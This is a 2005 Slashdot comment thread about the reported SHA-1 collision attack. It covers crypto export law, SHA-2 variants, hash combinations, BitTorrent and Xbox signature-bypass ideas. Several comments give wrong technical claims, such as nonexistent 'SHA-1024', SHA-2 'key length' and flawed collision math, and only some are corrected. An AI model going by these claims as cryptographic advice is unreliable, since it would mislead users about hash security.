Re:Prison.

[Tom7]

Of course not. Wang gave a presentation at CRYPTO 2004 to a stunned audience and standing ovation. WTF is wrong with you?

Re:Prison.

[tsotha]

I can't tell if you're joking or not. Do you recall the 54-bit/128-bit browser encryption fiasco? At the time (I don't know if this is still true), encryption technology was considered an "armament" under US law, so you were up for some pretty harsh treatment from the Attourney General if you, say, posted code for a reasonably secure encryption program (the author of PGP looked to be in some trouble for awhile, as I recall).

I remember thinking at the time "well, that just means all the new stuff will get researched and implemented in other countries, since most of the grad students who are capable of grinding through this kind of math are from other countries anyway."

So the fact this news comes from China is no surprise. If there was ever a case of the government putting US-approved ammunition in it's own collective foot, this is it.

Re:Prison.

[Anonymous Coward]

Whoosh! That's a Dmitri Sklyarov joke flying by ...

Re:Prison.

[Anonymous Coward]

Your humor sensor seems to be malfunctioning today. Read up on Dmitri Sklyarov and Adobe to understand the joke.

Re:Prison.

[kbielefe]

The funny thing to me was that the only difference between the legal and illegal versions is in the number of bits used. The algorithms are essentially identical.

It would be like KFC publishing its secret recipe and expecting that since the recipe only serves 4, that no one will be able to use it in a competing restaurant that serves hundreds of people a day.

By the way, as an arms dealer (the legal kind) who gets reminded constantly of export regulations, I can tell you that encryption technology is still regulated as a munition.

Re:Prison.

[browngb]

The parent has been moderated as funny, which says quite a bit about. Everyone would like to deny that there is a chance of that happening, but the sad truth is, it's possible.

Re:Prison.

[chialea]

Hi Tom.

As you weren't at crypto last year, you missed a bit of a brouhaha where people were considering moving the conference (which is ALWAYS at UCSB) outside of the US. The proximate motivation for this was that there was a grad student who had a paper, and was supposed to present it. When she found out, she got the next embassy appointment to get a visa, which was three weeks before the conference. She went, and they freaked out about the "crypto" thing, and said they'd have to send her work back for review to see if she was a terrorist or some such. They gave her a new appointment a week after the conference. Less than useful, eh?

The visa people need to remove their heads from their posteriors about published work; it's hard to threaten the US by talking about something published in a very prominent conference at that conference. (Someone's going to do it!)

Lea

Re:Prison.

[Anonymous Coward]

I think you have to bomb them instead :-)

Now I wonder who to bomb first. Iran, Syria, China... Hey, it's a free world - for some.

Oh great...

[randori82]

Time to change the VPN policies

Re:Oh great...

[Anonymous Coward]

Does not affect HMAC implementations.

RTFA.

Time to switch....

[Anonymous Coward]

... to SHA-2!

Re:Time to switch....

[metlin]

Which *one* of SHA-2?

FYI, SHA-224, SHA-256, SHA-384, and SHA-512 are all referred to as SHA-2.

Re:Time to switch....

[prockcore]

FYI, SHA-224, SHA-256, SHA-384, and SHA-512 are all referred to as SHA-2.


Doesn't matter. The only difference is key length. The algorithm is the same.

Re:Time to switch....

[Anonymous Coward]

Ron Richardson: Yeah? Are you gonna make it all 220?

Jack Butler: Yeah. 220... 221, whatever it takes.

-- Mr. Mom

Re:Time to switch....

[sryx]

I'm waiting for SHA-T. Hopefully any programmer would be too embarrassed to publish any paper claiming to break SHA-T.
-Jason

Re:Time to switch....

[Anonymous Coward]

Doesn't matter. The only difference is key length. The algorithm is the same.

Not quite. SHA-224 and SHA-256 are based on the same algorithm (with some very minor tweaks), and SHA-384 and SHA-512 are related to each other in the same way, but SHA-256 and SHA-512 aren't the same algorithms. Very close in many ways, but some major differences (just to throw out an obvious one, SHA-256 uses 32 bit operations internally, SHA-512 uses 64 bit operations).

And there is no key length here, as these are all hashes.

Re:Time to switch....

[Anonymous Coward]

Key length makes a huge difference. The 2^69 instead of 2^80 for a 160-bit key goes up drastically. For a 256-bit key, the algorithm that gets 2^80 on a 160-bit key would really get 2^128. Maybe the one they use for 2^69 will get 2^100 or something, but that's still millions of times slower than 2^69.

Looking at this another way, until someone finds a polynomial-time solution, for any problem where only an exponential-time algorithm exists all you have to do is double the key length and you've squared the running time.

Re:Time to switch....

[Anonymous Coward]

Key for what? It's not keys as they can't "open"/decrypt anything.
We're talking hash algorithms here, not encryption algorithms.

Re:Time to switch....

[todorb]

exactly. parent should be modded up. the previous posts sound very educated, but only if one does not start thinking about what hash algorithms have to do with keys!

Re:Time to switch....

[Anonymous Coward]

sounds to me he means hash length not key length.

the fact is that generally with all else being equal a larger hash length will take a LOT longer to crack.

Re:Time to switch....

[Anonymous Coward]

When you're talking about hash buckets then the output of a hash function is commonly called a "key". And you *could* use secure hashes to key your hash buckets.

So it's unlikely, but not incorrect. (Which seems apt given we're talking about collisions of a hash function...)

Re:Time to switch....

[donely]

Problem solved! My ADSL at home is SHA 2048/128, so at least I'M safe...or have misunderstood something?

Re:Time to switch....

[Anonymous Coward]

So SHA-512 is the best to use right now for digital signatures? I'm assuming the only drawback is more time is needed to generate signatures due to a longer key. Is that accurate?

Re:Broken or not?

[DAldredge]

Yes.

Look at the source.

Time to start a panic

[psetzer]

If you don't switch to the newest, latest hashing algorithm, you will die horribly when your corrupted emacs RPM performs malicious code!!! Everyone, delete everything and log off of the Internets now!!! We're all gonna die!!! HELP!!!

Re:Time to start a panic

[cant_get_a_good_nick]

and this malicious RPM will cause more damage to your system than normal emacs how? =)

Brought to You By

[z0ink]

Same group of people that found the MD5 Hash Collision. Self references and the MD5 paper.

May be a big deal...

[ThisNukes4u]

This may be a big deal, because if I understand correctly, SHA-1 is a similiar algorithm to MD5, which is commonly used to uniquely identify files. If that could be cracked using a similiar technique, a better method of hashing files may have to be found.

Re:May be a big deal...

[BobSutan]

The short short version of what a hash does is you take a file, an email for example, and you create a hash value from it. Then you send the email and the hash to a recipient. That person then does the same thing. If the hash values are the same then the person who recieved the email knows it wasn't doctored or messed with en route, hence proving that it's integrity is sound (in theory).

Re:May be a big deal...

[Anonymous Coward]

Then you send the email and the hash to a recipient. That person then does the same thing. If the hash values are the same then the person who recieved the email knows it wasn't doctored or messed with en route, hence proving that it's integrity is sound (in theory).

Make sure you send the email and the hash via different channels. Otherwise you are relying on the interloper being dumb enough to change the email without updating the hash as well.

Re:May be a big deal...

[Ctrl-Z]

Actually, that wouldn't really work in practice. What would stop someone from intercepting it and changing the message and the hash before your receive it?

I think what you are thinking of is a digital signature system, where the document is hashed and then the hash is signed. Any tampering would invalidate the signature. The hash is used because it takes a lot of random data to encrypt an arbitrary file, while it takes quite a bit less to encrypt a short, fixed-length hash like SHA-1. Since (in theory), the probability of message collision is quite low, the hash is (practically) as good as the real thing for signing.

Re:May be a big deal...

[ajs]

if I understand correctly, SHA-1 is a similiar algorithm to MD5, which is commonly used to uniquely identify files

You do not quite understand correctly. MD5 and SHA-1 are hashing algorithms, and as such it is expected (and accepted) that there are collisions. That is, you might find that your /etc/passwd and /bin/ls files have the same MD5 hash. The value in MD5 and other such hashes is that the probability of that happening is so remote that as a first approximation, comparing hashes is just as good as comparing files.

That is, you can either keep a backup copy of your filesystem to compare against or you can keep a list of hashes, and mathematically, all this "break" has demonstrated is that the chances are 1:590295810358705651712 not 1:1208925819614629174706176 of a collision. In other words, don't lose sleep.

Now, for secure cryptographic signatures, the implications are much more unpleasant. It's not the end of the world, but this is that big red light that says: switch to SHA-512 (or something equally secure) ASAP!

Re:May be a big deal...

[Knightmare]

This may be my ignorance showing but if someone is really worried about secure signatures, couldn't they just throw out a hash from 5 of your favorite algorithims to store as the signature? What are the chances that you could find a collison that would work in MD5, SHA-1, Whirlpool, HAVAL256 and Tiger?

Re:May be a big deal...

[Mjec]

SHA512 will be suceptible to similar attacks. I'd suggest the next-best-thing (RIPEMD) but that has also been attacked by these guys (though not to the same degree). They're good. And we need something new, fast. Or fastish at least.

Re:May be a big deal...

[Anonymous Coward]

I know some folks like to type out long decimal numbers to impress the magnitude of the numbers on the reader. But generally writing out the actual order of magnitude is more useful. Like, "Even though it's over 2000 times more likely to get a hash collision, the chances are still a whopping 1 in 10**20 instead of 1 in 10**24".

Re:May be a big deal...

[ajs]

I know some folks like to type out long decimal numbers to impress the magnitude of the numbers on the reader

Well, the point was that the numbers (2**69 vs. 2**80) were in the article, my purpose in showing numbers at all was to demonstrate the size of the numbers involved to those who didn't think in powers of two.

Re:May be a big deal...

[ajs]

the chances of a collision are the same as they always were and always will be [...this shows...] fewer attempts than 2^80 to generate collisions

You could be right, but two points:

The article doesn't make that distinction clear and how could you be certain of the chances of collisions up front? If it's proven at some point that there's some vast space within the set of all possible bit-string results that SHA-1 would never have generated (which is what I thought this paper demonstrated, though obviously it's not in general circulation, so I don't know that), why would that be difficult to accept?

Re:May be a big deal...

[ajs]

SHA512 will be suceptible to similar attacks

Well, agreed, but if SHA-512 is attacked in the same way, the reduction of effort on the same order doesn't cripple it. If SHA-512 only gets you back up to 2**80 after using a variant of this attack, then you're back to the acceptable range that SHA-1 was believed to be at previously, no?

It's not as if SHA-1 has been "broken", so much as a short-cut was found in generating collisions. That short-cut only makes it so much easier. You then have to find your threshold for "too easy". After all, you can always generate collisions brute-force, so no hash is "secure" given enough computational resources. It's all a matter of acceptable difficulty.

Re:May be a big deal...

[Jarlsberg]

Noticed your sig. It's interesting, because a couple of years ago ./ gave me mod points every few days, but all of a sudden it stopped doing so, and I haven't gotten any mod points for the last year or so.

Damn it

[afidel]

/me
Log into VPN Firewall
Check VPN settings
Notices SHA for authentication type
Swears
Checks other option, notices {none} and {md5}
scratches head
decides to go with MD5 until that too is broken /me wishes security were easier

Re:Damn it

[Anonymous Coward]

MD5 is also broken.

Although Bruce sez it's not an issue for HMAC applications, which would be the case w/ your firewall.

Re:Damn it

[ad0gg]

MD5 was cracked before this.

Re:Damn it

[mastergoon]

md5 was broken by the same people a few months ago.

Re:Damn it

[DAldredge]

Please tell me you are joking and didn't change your security policies with out know which is better.

BTW, this same research group published a paper about 'breaking' md5 some months back :)

Re:Damn it

[psetzer]

It's still not really practically breakable unless this is something bigger than what I'm guessing. SHA-0 was broken a few months ago, and MD5 a while before that. What does it mean for you? Not much.

Some attacker would have to be REALLY dedicated to use this vulnerability to harm you, and they would still require hideous amounts of processor time to mount an effective attack. Digests are a quick and easy way to verify that some message or file is correct. If the hash is signed as well, then you can verify the sender, too. When you download something like a Linux ISO, there is often another file on the server containing the hashes of the files, so you can verify that everything downloaded correctly. If you want to make sure that nobody other than a trusted person modified the files, then that trusted person could encrypt the digest with their private key, allowing anybody with their public key to verify that everything's correct.

A person can, with a broken hash, create another ISO file, perhaps with malicious code inserted, that has the same digest, meaning you can no longer trust the signed digest. Let's say that this vulnerability reduces the average time needed to find a collision from 2^48 tries via the Birthday paradox (If this isn't a 96-bit hash, then I really need to get more sleep) to 2^32 tries. That's over 65,000 times faster, but you know why I'm not worried? That's still over 4,000,000,000 ISO files that the attacker would have to try before hitting on one that's got the wanted characteristics and the correct digest to boot, and if it requires equivalent memory usage to its time usage, then I'd expect it to use at least 48 gigabytes of memory to store all of the previous attempted hashes. If it takes 15 seconds to compute one digest, then you're looking at a mere 2,000 processor years to find a vulnerability, compared to the much more comfortable 130,000,000 processor years that it would have required using the brute force method.

Feel better now? If I really got mixed up, and was wrong about the size, then just multiply all the listed times by 2^32, and wake me in 8 trillion AD.

Re:Damn it

[Anonymous Coward]

MD5 has been broken. Don't ask me to quote a source, I'm too lazy. In all honesty you're probably better to go with SHA-1 over MD5. If possible go with SHA-128, SHA-192, SHA-512, or SHA-1024 if you're crazy.

BTW, when someone says they've broken SHA-1, that doesn't mean all your passwords are belong to them. All it means is they found a collision (eg. "hello" and "as;dlo2" have a SHA-1 hash value of "aw00cak", woopty-doo).

Re:Damn it

[Anonymous Coward]

Let's say that this vulnerability reduces the average time needed to find a collision from 2^48 tries via the Birthday paradox (If this isn't a 96-bit hash, then I really need to get more sleep) to 2^32 tries. That's over 65,000 times faster, but you know why I'm not worried? That's still over 4,000,000,000 ISO files that the attacker would have to try before hitting on one that's got the wanted characteristics and the correct digest to boot, and if it requires equivalent memory usage to its time usage, then I'd expect it to use at least 48 gigabytes of memory to store all of the previous attempted hashes. If it takes 15 seconds to compute one digest, then you're looking at a mere 2,000 processor years to find a vulnerability, compared to the much more comfortable 130,000,000 processor years that it would have required using the brute force method.

Except that rather than taking 15 seconds to compute a digest, even an imperfect Python implementation will compute over 150,000 digests per second. Which means that 2^32 digests can be computed in under 8 hours, with just a desktop PC.

Feel better now? If I really got mixed up, and was wrong about the size, then just multiply all the listed times by 2^32, and wake me in 8 trillion AD.

Luckily your math was wrong and SHA-1 is a 160-bit cipher. But this is still not particularly good news.

Re:Damn it

[Mjec]

If it takes 15 seconds to compute one digest, then you're looking at a mere 2,000 processor years to find a vulnerability, compared to the much more comfortable 130,000,000 processor years that it would have required using the brute force method.

It wouldn't take me that long to compute a hash. It'd take me 0.01 second. That's 49 days. 90 day passwords a cinch. That is why we're worried.

Re:Damn it

[Anonymous Coward]

The Birthday Paradox doesn't apply as you are not randomly selecting both elements. Since you have to match an existing hash, you only get to select one element.

Re:Damn it

[Anonymous Coward]

Same group also demo how to crack md4 by hand. interesting article..

Re:Damn it

[God! Awful 2]

Let's say that this vulnerability reduces the average time needed to find a collision from 2^48 tries via the Birthday paradox (If this isn't a 96-bit hash, then I really need to get more sleep) to 2^32 tries. That's over 65,000 times faster, but you know why I'm not worried? That's still over 4,000,000,000 ISO files that the attacker would have to try before hitting on one that's got the wanted characteristics and the correct digest to boot,

You're misapplying the birthday paradox. The corrected statement is that the attacker would have to generate 4 million fake ISOs in order to have a high probability of generating a hash that collides with any one of 4 million real ISOs.

And that's *IF* your assumption was correct, which it most likely isn't. Cryptographic attacks aren't necessarily additive. You can't just assume that attack A reduces the key space by 10 bits and attack B reduces the key space by 20 bits so together they reduce the key space by 30 bits. It's not that simple.

-a

Now what do we use?

[enos]

With SHA-1 being MD5's replacement after that was broken, which hash function do we use now?

Re:Now what do we use?

[KinkifyTheNation]

It's not as if any random joe is going to be able to "hax0r" into your website now.

Re:Now what do we use?

[Anonymous Coward]

Run data through SHA-1, then MD5, then XOR.

Re:Now what do we use?

[jd]

Whirlpool has the same hash length as SHA-256 and is based on the Rijndael encryption function, which is currently believed "safe enough". As such, I'm going to say that that is the best bet right now.

The Hashing Function Lounge also lists Cellhash, Parallel FFT-Hash , RIPEMD-128, RIPEMD-160, Subhash and Tiger as (so far) unbroken.

Re:Now what do we use?

[Trejkaz]

crypt()

Re:Now what do we use?

[Ant2]

Well, for starters, there's:
SHA-256
SHA-384
SHA-512

The numbers refer to the bit length of the generated hash. SHA-1 uses only a 160 bit length, called a message digest. But then, you'd know all that if you would have rtfa.

--I wish there was some way to automatically append a line of text to messages posted on slashdot.

Re:Now what do we use?

[Anonymous Coward]

You realize that all of the RIPEMD versions have been broken?
Collision Paper
"Collisions for Hash Functions MD4, MD5, HAVAL-128 and RIPEMD"
Found by the same team that reportedly just broke SHA1 are the same people who broke MD5 and the 'similar' algorithms some months ago.

Re:Now what do we use?

[Anonymous Coward]

Where did I read that Rijndael was a little susceptible to differential attacks? Wouldn't this make it a little bad for hashing?

Re:Now what do we use?

[Nogami_Saeko]

Sounds like we need to get THEM to design a good secure hash function...

N.

Re:Now what do we use?

[Anonymous Coward]

Not RIPEMD-128 and RIPEMD-160.

Re:Now what do we use?

[WillerZ]

the function crypt() was and is pretty good. The program /usr/bin/crypt was the crap one.

Re:Now what do we use?

[Dan Harkless]

The paper says nothing about RIPEMD-128 or RIPEMD-160, which are strengthened versions of the original RIPEMD. The original RIPEMD attack paper that the above-linked paper cites was done by H. Dobbertin in '95. In '96 he co-authored the paper that introduced RIPEMD-128 and RIPEMD-160.

This is also reflected in the "Attack(s)" column on the Hashing Function Lounge page which others have cited.

Re:Now what do we use?

[m50d]

No, that's no more secure than the most secure of SHA-1 and MD5. i.e. not secure.

Re:Now what do we use?

[m50d]

My first response is RIPEMD

And they scoffed at my continued reliance on MD5!

[js7a]

Another reason to avoid IPsec and WEP.

Xbox-Linux Project B Complete?

[Anonymous Coward]

Is there a self-boot disc on non-modded xbox's in our near furture?

http://www.xbox-linux.org/docs/projectboverview. ht ml

Re:Xbox-Linux Project B Complete?

[Ant2]

Factoring the public key for signed XBE files might now be the best option in running arbitrary code (i.e. Linux) on unmodded XBoxes.

Have: Public key (it's inside the Xbox kernel), in decimal:
2074011932725872376027602350906301713845 5993606274 88352673195511324110900735 43623741289960962910463535723067421103054569468248 62203867115042369878729703 47576511228016749818904643779460296616881241942336 51969796694319295889511268 04648743029387833666031765734337165949634731375592 47167029424618087781510481 26746269674500970450051175466570687005452630641050 24888769118032059917845867 65304041940400368455988250919539863092282405040537 96205135896999939802056942 66973236095772153476388267418476533663512746243310 31785386194643005307289050 29493197037650237921611449426113236294444096001738 94963797156859916567288947 565058003

Re:Xbox-Linux Project B Complete?

[Anonymous Coward]

Actually I meant this one:

1.2. SHA1 hash

The second way would be to take an already signed XBE and modify it. Because the signature itself only signs the header, it would be possible to modify the sections in the XBE. For this task we could modify anything except the header itself. So the sections need to have the same size and the sameSHA1 hash as before.

To reach this goal there are these two possibilities:

(a) Create a section that does all we want it to do and search a fitting signed XBE. Then we copy our section to a section in the XBE, where our section should be smaller than the XBE's original section. After that we would have to padd the section till its original size, so that the sha1 hash gets the same as before.

(b) Find an attack against sha1. There have been attacks against md5 that did the following: You have a message A with a hash md5(A). The attack produced a new message B with md5(B)=md5(A). Perhaps there is a easy way to modify single bytes so you get the same sha1 hash.

Remember, America's National Security Agency (NSA) designed the SHA1 algorithm. Do you really think that it doesn't have any exploitable loopholes? :)

Have: sha1 function (provided by Franz Lehner, see CVS: cromwell/sha1.c)

Need: a section that does what we want

Need: a attack against SHA1 ;)

Need: (Distibuted) Brute Force programm to pad section till the hash matches

Posibility:

If we have the section and the program, we would need people sharing there CPU load.

Re:Xbox-Linux Project B Complete?

[Total_Wimp]

Is there a self-boot disc on non-modded xbox's in our near furture?

See, this is exactly what security experts have been saying all along.

1. Use any security algorithym.
2. It's guaranteed to be unsafe given enough time or processing power
3.... But if you make it strong enough, by the time it gets cracked no one will care.

In the case of the xbox, recent articles have placed xbox2 to be out by fall. If you crack xbox1s SHA-1 hash near the launch of xbox2, will anyone still care? If not, then it was, indeed, a very successful security mechanism.

TW

I won't believe it

[Anonymous Coward]

Until Netcraft confirms it.

what's left

[Yonkeltron]

wait a sec....no MD5 and no SHA-1. what is going to take the place of those things? something like anubis or whirlpool?

maybe more people will use GPG now!

Re:what's left

[mboverload]

Everyone should just randomly hit keys on their keyboard for each file. Totally random, but most files with be "sfkhadou"

Re:what's left

[Anonymous Coward]

Everyone should just randomly hit keys on their keyboard for each file.

Isn't that the standard technique for generating /. posts?

Re:what's left

[Anonymous Coward]

"Hey! That's how I name my programs and commands!" -Every linux programmer ever

US Secure Hash Algorithm 1

[NEOtaku17]

SHA-1 Hash Algorithm and Source Code.

Question

[Anonymous Coward]

Why is it they found a hash collision in, but could not break, MD5; but have apparently broken SHA-1? This could just be due to a quirk of the respective algorithms, but it could also mean that the nature of their SHA-1 paper purported by the weblogs is mistaken.

Re:Question

[Anonymous Coward]

They broke MD5 by finding a collision. They reportedly have broken SHA-1 in a similar manner; once again by finding a collision. They did the same in a host of other secure hash functions as well... see the paper linked above.

Well...

[game kid]

...at least we still have SHA256, SHA384 and SHA512.

That said...PWN3D!!1!

Re:Well...

[all your mwbassguy a]

thank god ROT-13 will never be cracked.

Re:Well...

[Wavicle]

I noticed using ROT-2 gave what looked like a kinda-close decryption of ROT-13. So I started trying ROT-3, then ROT-4, I got as far as ROT-12 before I got bored and gave up, but it was showing great promise!

Re:Well...

[flatface]

That's nothing. ROT-26 offers the best encryption as of yet!

Re:Well...

[tonsofpcs]

I can't read your post, it seems to be encrypted in that new ROT-26 scheme.

Re:Well...

[E_elven]

Comedy 102.

Today's topic: Don't Make It Too Obvious.

Re:Well...

[Anonymous Coward]

Comedy 102.

Tomorrow's topic, Getting the joke.

Re:Well...

[djcapelis]

And my algorithm... ASH, it was designed early this year exactly because of this, the paper can be found here: http://arxiv.org/abs/cs.CR/0501038

Re:Well...

[Anonymous Coward]

Comedy 102

Next week's topic: writing a good joke.

Re:Well...

[Jugalator]

I think ROT-65536 would work even better, especially for Unicode.

Re:Well...

[Anonymous Coward]

Dude, I was going to mod you insightful, but now I looked at the paper I've gotta post to tell you what a lame title it is: "Data Tastes Better Seasoned" ?!?

Re:Well...

[dleib]

You should try double-ROT13

Re:Well...

[drsquare]

Yeah, it's so good you can post that same joke to Slashdot thousands and thousands of times, and people still think it's original!

Re:Well...

[Anonymous Coward]

On Week 3, a man walks into a bar.

Bartender says, "Christ, buddy, can't you think of something original?"

Re:Well...

[l0b0]

Could be interesting to see the new Unicode ROT-(10^13)-1 or something...

Re:Well...

[Anonymous Coward]

Comedy 102.

Today's topic: Don't Make It Too Obvious

Umm, you do know American's might be reading this site?

Re:Well...

[Zorilla]

The might of Americans are reading this site?

Re:Well...

[Phleg]

(being pedantic) Actually, you mean UTF-16. Unicode is just a set of code points; it doesn't actually specify how many bits are used to encode them.

Re:Well...

[Kenagorn]

Rot 13 wingding encryption is even stronger

Re:Well...

[Anonymous Coward]

Yes.

We're just not posting.

-- POTUS

Re:Well...

[djcapelis]

Bite me.

Re:Well...

[Anonymous Coward]

OMFG, he formed a sentance!!!

/me thinks its an imposter

Re:Well...

[Anonymous Coward]

Actually, that's ROT-2097153 (Unicode went to 21.1 bits a while ago).

So What?

[cr0y]

Long live ROT-13.

Maybe crackers would stop messing with our encryption if it was extremely easy to deal with.

SupahLeetCodah: d00d i just cracked SHA-1 and MD5,6 AND 7!!!1

Steve: So did my grandma and my proctologist.

Re:So What?

[Antonymous Flower]

your proctologist? what an ass..

Bittorrent?

[oman_]

Is it time to update bittorrent?
How hard is it going to be for people to provide garbage data with correct SHA-1 hashes to screw up downloads?

Re:Bittorrent?

[Anonymous Coward]

It sounds like it may be possible for someone with a few weeks use of a supercomputer and the will to spend the corresponding thousands of dollars on computing power may be able to generate a file with a SHA-1 collision of the file you're downloading, and inject that into your stream if you pick them as a peer. I'm pretty sure there are easier ways to attack BitTorrent than getting a SHA-1 collision.

Re:Bittorrent?

[Mr. Sketch]

s/people/MPAA|RIAA/

There, now it reads more like what will probably happen.

Re:Bittorrent?

[rsmith-mac]

I don't think it's practical right now, but that doesn't mean it will hold true for too much longer. As it stands right now, BitTorrent files have 2 hashes: each chunk has a hash, and then the file as a whole has its own hash. This means that for a torrent to be perfectly polluted(that is, polluted without anyone knowing), the garbage data needs to fit both hashes, which will be harder, though breaking a chunk hash is enough to kill a torrent swarm, even if users know about it. However, the **AA organizations aren't exactly poor, and as unlikely as it is, they do have the finances to get access to a large computing cluster, which would allow them to cause some damage.

Judging from what's been said about how difficult it is to break SHA-1 even with this discovery, I would think it's fine for now, but a new hash should probably be included with BitTorrent2.

Re:Bittorrent?

[ArbitraryConstant]

Well... TFA says that collisions occur in SHA-1 160 with a probability of 1 in 2^69, but that's for any collision, not whatever message you want. Now, there's a lot of torrents and a lot of digests out there, so if all they want to do is attack any torrent that's out there it might be practical if they had a large cluster of dedicated hardware... but that seems unlikely. Lawyers are cheaper.

A move to bigger SHA-1 functions or not-currently-broken algorithms might be in order for future revisions though. Things seem to be eroding pretty quickly these days for SHA-1.

Re:Bittorrent?

[Anonymous Coward]

BitTorrent doesn't hash whole file, it hashes "info" dictionary, i.e. piece size, hashset, file name, length in case of one file download.

To break BitTorrent you must execute a pre-image attack, i.e. you have to create a block of data with given length that hashes to given value. Rigth now there is no way to do this even for MD4, which eDonkey uses.

Yeah...

[game kid]

The hashing is done by mathematic operations, so I'm sure something like SHA can be "cracked" almost (almost because they're just hashes and not full files) like solving an equation, right?

Re:Yeah...

[Ctrl-Z]

Well, no. Not exactly. SHA-1 is supposed to be a one-way function, meaning that you can't just reverse the operation. So you can't just "crack" it like solving an equation.

I'm not sure if you are talking about retrieving the original file from the hash, but if you are, then you don't understand what hash functions are for. In this case, there are an infinite number of combinations of bytes that have the same SHA-1 hash. The goal is to find one that has the same hash value, regardless of whether it is actually the same file. SHA-1 is not a cipher.

Re:Yeah...

[hunterx11]

Maybe, maybe not. Either way, you get a million bucks if you figure out which one it is.

Let me be the first to say...

[Just Some Guy]

...oh, shit. This is so seriously beyond Not Good that it's not funny. SHA-1 is used for all sorts of things, many of which critically depend on it as the background of their security.

We (possibly? probably?) can't trust MD5 anymore, and now SHA-1 might have fallen. Does anyone know whether their exploits are overlapping? If not, can we reasonably move to H(x)=MD5(SHA-1(x))? Are there any other good hash algorithms working their way through the pipeline?

Re:Let me be the first to say...

[clap_hands]

We cannot reasonably move to H(x)=MD5(SHA-1(x)). If you have a pair x, y such that SHA-1(x)=SHA-1(y) (i.e. a collision of SHA-1), then MD5(SHA(x))=MD5(SHA(y)). So H(x)=H(y) (a collision of H).

But don't worry (yet). There's still no known practical way to produce SHA-1 collisions.

Re:Let me be the first to say...

[Vidael]

"can we reasonably move to H(x)=MD5(SHA-1(x))?"

No. The composition of two compromized functions isn't going to solve anything.

Re:Let me be the first to say...

[LarsG]

How about H(x)=MD5(x)+SHA-1(x)?

Re:Let me be the first to say...

[Calyth]

That would just be like cracking a MD5 sum and then a SHA-1 sum, and then do some manipulation together. Assuming there are easy methods to generate collision on the fly, any algebraic expression would have little effect.
It's just like trying to write a pseudo-random generator without knowing any of the requirements or techniques to get there. The results just aren't right.

Re:Let me be the first to say...

[Aeiri]

MD5(SHA-1(x)+x) is what he should have said, that would take a whole new level of brute forcing to break.

Re:Let me be the first to say...

[Coryoth]

If not, can we reasonably move to H(x)=MD5(SHA-1(x))?

No, not really. For starters it doesn't really help at all, but equally significantly (for those in this thread suggesting things like MD5(SHA-1(x)+x) and such like) combining things together doesn't automatically make it more secure. In fact security can stay the same, or even be reduced by such combination/composition. There's a reason 3DES is used rather than 2DES and it isn't just because 3 is bigger than 2. 2DES wouldn't actually give you any benefit over single DES.

Cryptographic algorithms, be they encryption schemes or hash algorithms, need to be carefully contructed and (ideally) mathematically proved. Oddly enough mixing them together can actually introduce new properties that make the system easier to break.

Jedidiah.

Re:Let me be the first to say...

[timotten]

I'm not sure about your comments, but I did find some links which discuss combinations of hash functions:

• Overview of an argument that concatenation of common hash functions won't produce a more secure hash functions (page 3)
  
• Applying a similar argument to a broader class of hash functions (I haven't read this yet, but the abstract sound neat...)
  
• Discussion about working around Joux's attack
  

Re:Let me be the first to say...

[Inthewire]

Oddly enough mixing them together can actually introduce new properties that make the system easier to break.

Same applies to genetics.

Digital Fortress

[j3tt]

Too bad Digital Fortress does not really exist.

Obligatory Gentoo reference

[bonch]

I just finished compiling it an hour ago, and then I see this announcement on Slashdot! This always happens.

Re:Obligatory Gentoo reference

[Anonymous Coward]

I don't know why this post has been modded as a
Troll. As a Gentoo user I found this comment funny.

It was a breath of fresh air to see that there is at
least one person that understands what hashes
are used for and actually takes care to check it.

I don't know what happened here. My hunch is that
its a personal attack. Probably because somebody
feels jealous of Gentoo users because of their skills,
or maybe out of mistaken identity at somebody they
feel jealous about.

Anyway this post made me laugh. If I had mod points
I would have gave it as funny.

Just Keep It Going

Re:Obligatory Gentoo reference

[Anonymous Coward]

FOAD bonch, err, rd_syringe, err, Overly Critical Guy. You were modded as a troll because you are a troll.

Broken, but not for everything...

[JM]

One collision in 2**69 operations... that's quite minimal...

Sure, for signatures, it means that you can't trust the algorithm 100% anymore.

But for storing passwords, and other operations where collisions are not important, it doesn't matter much, even if there's another password that can generate the same hash, you still need to brute-force it.

Re:Broken, but not for everything...

[beaststwo]

You never could trust it 100%! That was the idea! The algorithm gives you a very high probability of authenticity, not any kind of guarantee (unless the original message is shorter than the output of the hash and everyone who hashes it later absolutely knows the length of the original message).

It's an assurance, that's all. The only guarantee is a one-time pad, and Bruce Schneier's website is full of info on why these aren't practical!

Re:Broken, but not for everything...

[Anonymous Coward]

Blatantly Stolen from blog comments:


That's 2**11 less operations. Let's say breaking this (2**69 ops) takes the NSA a week. If it had been 2**80, it would have taken 2048 weeks, or 39 years. If it would have taken the NSA (or whomever) a year to break SHA-1 before, it could be broken in 4 hours.

My guess would be it would still take a lot longer than a week - but would now be in the realm of possibility, whereas before it would have been in the lifetime(s) range. However, this is totally a wild-assed-guess, based on the assumption that it was expected to take 100+ years before this to crack.

Posted by: Randell Jesup at February 15, 2005 09:19 PM

Re:Broken, but not for everything...

[Anonymous Coward]

Uh, you could never trust the algorithm "100%"; hashes, by their nature, will always have collisions. The big deal is that brute-forcing the algorithm just got 2**11 times easier to do.

Re:Broken, but not for everything...

[Tony Hoyle]

The slashdot article makes it sounds like you can modify any document to look like any other... the FA is more sane.

2**69 operations is still a bigger number than I can get my head around right now, and a hell of a lot bigger than I can solve in a week or two of computing with common hardware.

Sure, the NSA could maybe do it in a week. woop.

There are already an infinite number of collisions to all hash algorythims, so the probability of collission is 1. What's at stake is the time to get the collission... if it's more than a few days I don't really care. My ssh communications are safe.

Re:Broken, but not for everything...

[Tony Hoyle]

Following on from my own message... some of the comments in TFA have calculations.

They reckon about 2000 years for a 4Ghz processor.

That's not going to keep me awake at nights, TBH.

Re:Broken, but not for everything...

[JM]

Even if the NSA could do it in a week...

Suppose you're signing a tar.gz file. If the NSA could find a collision, the collision will still need to fit:
- filesize has to stay the same
- you don't want to get errors with gzip
- you don't want to get errors with tar
- the files in the archive needs to make sense

What's the probability of all this happening?

Re:Broken, but not for everything...

[Coryoth]

But for storing passwords, and other operations where collisions are not important, it doesn't matter much, even if there's another password that can generate the same hash, you still need to brute-force it.

No, you don't need to brute force it, and that's the point. Brute forcing means using a raw naive approach that simply tries every possibility. For SHA-1 that takes, on average, 2**80 operations to find your collision. Any method that is faster than this naieve approach is a break. The method being discussed does not simply try every combination (I have been unable to find a preprint, so I don't actually know what they are doing), but takes another approach. That approach requires only 2**69 operations. That is significantly massively faster. It is 2**11 times faster. By cryptographic standards this is a very very significant improvement.

Yes 2**69 is still a rather large number of operations, and thus SHA-1 passwords etc. are probably safe for now. A break in an algorithm is a bad sign however - improved breaks can tend to follow along behind. We'll have to wait and see how this pans out (I'm still keen to actually get a hold of the paper).

Jedidiah.
